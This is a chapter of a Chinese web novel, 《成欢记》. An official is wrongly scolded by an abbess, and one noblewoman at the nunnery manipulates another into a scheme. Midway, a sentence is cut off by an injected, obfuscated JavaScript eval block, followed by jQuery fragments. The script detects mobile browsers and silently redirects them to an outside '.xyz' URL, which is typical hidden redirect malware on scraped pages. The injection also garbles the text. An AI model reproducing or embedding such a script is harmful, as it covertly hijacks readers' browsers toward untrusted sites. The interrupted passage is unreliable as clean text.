34. 愿者上钩

作品:《成欢记

    沈溪一脸懵逼。


    私事?什么私事?这事怎么还扯到他的私事上了?


    明明是白若珠不好好诵经,出尽洋相,干他沈溪何事?


    这可真是人在殿中坐,祸从天上来!


    他才是最无辜的那个好吗?


    沈溪抚了抚额,命自己镇定。一定是悟证住持见他与白若珠同乘一辆马车,刚才又听到白若珠喊他过去,误会了他们二人的关系。不行,他得趁这个机会说清楚,他沈溪正经连个喜欢的女子都没有,怎么就不明不白地和白若珠绑到一起了?


    “住持息怒,请听本官解释。”沈溪向悟证拱了拱手,正要继续。就见这位住持冲他做了个止言的动作,不容反驳地打断他道:“小沈大人无须多言。这些佛女子们都是未出阁的闺秀,有些话不宜让她们听到,总之老尼心中有数。”


    沈溪被悟证住持这句话噎得嗝喽嗝喽的。什么“不宜让她们听到”?说的就好像他做了什么见不得人的事一样。“再说你心里有的是什么数?难不成是想坐实我和白若珠有什么不成?真是秀才遇到兵,有理说不清!”沈溪的气血一阵阵地往上涌。


    “佛女子们本是为太皇太后的寿诞来我普宁庵修行,以让佛祖感知太皇太后广播佛法、教化世人的慈悲心,亦是彰显大齐百姓对她老人家的一片纯孝。如此庄严殊胜之事,难道礼部竟没有为此定下一定之规?还是小沈大人有意偏袒,不按规矩行事呢?”


    “得!这是打定主意要给我扣一个‘屎盆子’了!”沈溪一口老血差点没喷出来。他真想好好问问面前这位住持,他怎么就有规不行,还着意偏袒了?他偏袒谁了?可当他的目光无意间扫过一众小娘子,竟发现她们也都在用审视的目光看着他,似乎很是认同悟证住持的话。


    “这……”沈溪倒吸一口凉气。


    昭儿见主子怔愣,乌溜溜的眼睛快速地转了几圈,旋即伏在他的耳边道:“主子,是不是因为白小姐带烧鸡什么的来了庵里,您却让妙慧师尼放她一马?”


    沈溪暗自用手拍了一下大腿,对啊!他怎么把这茬给忘了?当时他只顾着还白若珠的人情,竟没顾上考虑这样做的后果。这样看来,也不能怪悟证住持对他有所误会,确实是他做得有欠妥当。


    悟证住持见沈溪支支吾吾地半晌也说不出个整话,面上还一阵紫一阵红,便不打算再为难他。毕竟他是朝中派来的官员,总得给他留几分颜面,于是她缓和了语气道:“我的话或许说得重了些,还望小沈大人海涵。只是普宁庵向来治庵严谨,且诵经礼佛并非儿戏,当恭肃严正对待,我不希望以后再见到如今日这般的乱象了!”


    “住持教诲,吾等铭记在心!”妙慧与止念率先回应道。


    “住持教诲,吾等铭记在心!”殿中众人随后全部齐声附和。


    ***


    因着耽误了这些时辰,诵经结束的时候已临近黄昏了。佛女们上午在菜田中累了半日,下午又受了训斥和惊吓,都没了昨日在庵中闲逛的心情,早早就回寮房洗漱安置了。


    只是有两间寮房的灯烛一直燃到了很晚。一间便是白若珠和林映雪的。白若珠今日成了“显眼包”,不仅没等到小沈大人来扶她,还被悟证住持抓了个正着。现下她就像霜打了的茄子,彻底蔫了。


    别看她当时闹得欢,但等平静下来,她心里开始生出后怕:即便小沈大人此前对她再有情,这下也该凉凉了吧?


    不过,这还不是最让她担心的。


    “林姐姐,”白若珠拉着林映雪的手,不安地问道,“我惹悟证住持生了那么大的气,还连累妙慧师尼和止念监院她们都被罚了。你说,我会不会被赶出去啊?”


    被赶出普宁庵,这才是她最担心的。


    白若珠和林映雪年纪相仿,却唤林映雪为“姐姐”,原因是她现在有求于人,不得不一改平日里的嚣张跋扈,主动伏低做小。林映雪懒得理她的浑叫,她觉得这样也好,显得比较亲近,也便于她日后行事。


    对于白若珠的这个问题,其实林映雪也说不好。佛女子的去留都掌握在沈溪手里,即便是悟证住持也无权擅自决定。正因如此,佛女们才会对此前沈溪袒护白若珠的做法十分愤慨。所以,若想知道这一次白若珠能否平安度过,必须先弄清她在小沈大人心里的份量到底有几何。这样一来,正好给了林映雪正面探问白若珠的理由。


    她故作亲密地拉着白若珠坐在自己身边,语气柔婉地问道:“若珠妹妹,你可不可以告诉我,你和小沈大人究竟……究竟是怎么一回事?”


    若是没有发生今天的事,白若珠定会在林映雪面前,将她与沈溪的关系大肆吹嘘一番,但眼下她连明日还能不能见到沈溪都不知道,自然也就没了这份心思,何况她还指望林映雪给她出主意呢,只得将她让沈溪搭车之事一五一十地说了。


    林映雪听完,心中暗自开怀,事情果然和她料想得差不多,小沈大人与白若珠并没什么男女之情,不过是在阴差阳错之下,让人生出误会罢了。而这也正好能够解释为何白若珠食荤食错了规矩却还能留到现在,一定是因为小沈大人想报搭车之恩。


    想到此处,林映雪觉得沈溪宁可自己枉担了一个和白若珠有情的虚名,却也要知恩图报,当真可爱、可敬、亦……可托付终身!她不由弯了弯唇角,对沈溪的爱慕又增多了几分。


    白若珠见林映雪不说话,面上竟然还带着笑,猜不透这是什么意思,急得抓耳挠腮。她扯着林映雪的袖子催促道:“林姐姐,你到是快点告诉我啊,我都快急死了!”


    林映雪猜测,以白若珠和沈溪没有什么关系的关系,这一次白若珠只怕是没救了,因为她犯到了悟证住持手里。沈溪不可能为她一个人得罪这位老尼,况且他还要给其他佛女一个交代。再说,他之前欠白若珠的人情已经还了,没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952411|175678||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有什么可顾及的了。


    不过林映雪知道,她若是实话实说,凭白若珠的性子还不知会做出什么事,她这一晚上就别想睡个安生觉了。她的眼底闪过一抹不易察觉的盘算,不如……不如趁此机会,让白若珠帮她做件事……


    她斟酌了一下语句,对白若珠道:“若珠妹妹,你先别急,此事还没有到山穷水尽的地步,说不定还有转圜的余地。”


    “真的?”白若珠眼前一亮,“真的还能转圜?”


    “我只是说或许,也不一定能行。”林映雪将话里的意思往后退了半步,打量着白若珠的神色。当她看见白若珠刚刚亮起的目光又要暗淡下去的时候,知道时机到了,便用言语向前推了她一把,道,“不过,总得要试一试,万一有用呢?”


    处在绝望之中的人就怕给他一点希望,他会将这点希望当做救命稻草,一旦抓住就再也不会放手。何况头脑简单的白若珠如何能扛得住林映雪这样进进退退的引诱,不出三两句话就上钩了。


    “好姐姐,那你快告诉我,我要怎么做才行?求求你了。”白若珠凄凄艾艾地看着林映雪,就差给她跪下了。


    “我若是告诉你,不管事成或是事败,你可不能说是我说的。”为求稳妥,林映雪先得让白若珠给她一个保证,她可不想把自己给搭进去。


    白若珠头点得如同捣蒜,此刻别说是这点小事,即便是再大的要求,她都敢应承下来。她信誓旦旦地向林映雪保证,自己一定会守口如瓶,让林映雪放一百个心。


    林映雪其实并不相信白若珠,但她知道白若珠大概率是要出局的。即便白若珠将她供了出去,凭着大家对白若珠的反感,也不会有人相信,只会觉得这人“死到临头”还在胡乱攀咬,真真是无可救药。而等白若珠卷铺盖一走,谁还会记得她说了什么呢?


    林映雪清了清嗓子,让白若珠附耳过来……


    另一间寮房内。


    常紫妍正记录着今日有关沈溪的片段,在写到诵经时的一幕时,她停下了笔。不得不说,白若珠虽然蠢笨,但她的举动却将了所有小娘子们一军,尤其是那些想与沈溪结亲的小娘子们,简直就是对她们的公然挑衅!好在沈溪没有真的去扶她,否则今夜恐怕会有许多人都睡不着觉了!


    可沈溪的不出手,到底是因为他与白若珠之间并无私情,不想让旁人误会两人的关系,还是因为当着太多人的面,不愿将恋情公之于众呢?常紫妍拿不定主意。


    在一众佛女之中,只有她知道,白若珠是顶替了原来的一名官家小姐,被暗中插进来的。此事虽然没有被宣扬出来,但参与佛女甄选的礼部官员一定清楚。而入庵那日,白若珠与沈溪在众目睽睽之下,从一辆马车中出来,将两人的关系弄得人尽皆知。所以,小沈大人如今再想着避嫌,是不是有点晚了?


    “砰,砰,砰……”就在常紫妍没个头绪的时候,她的房门响了。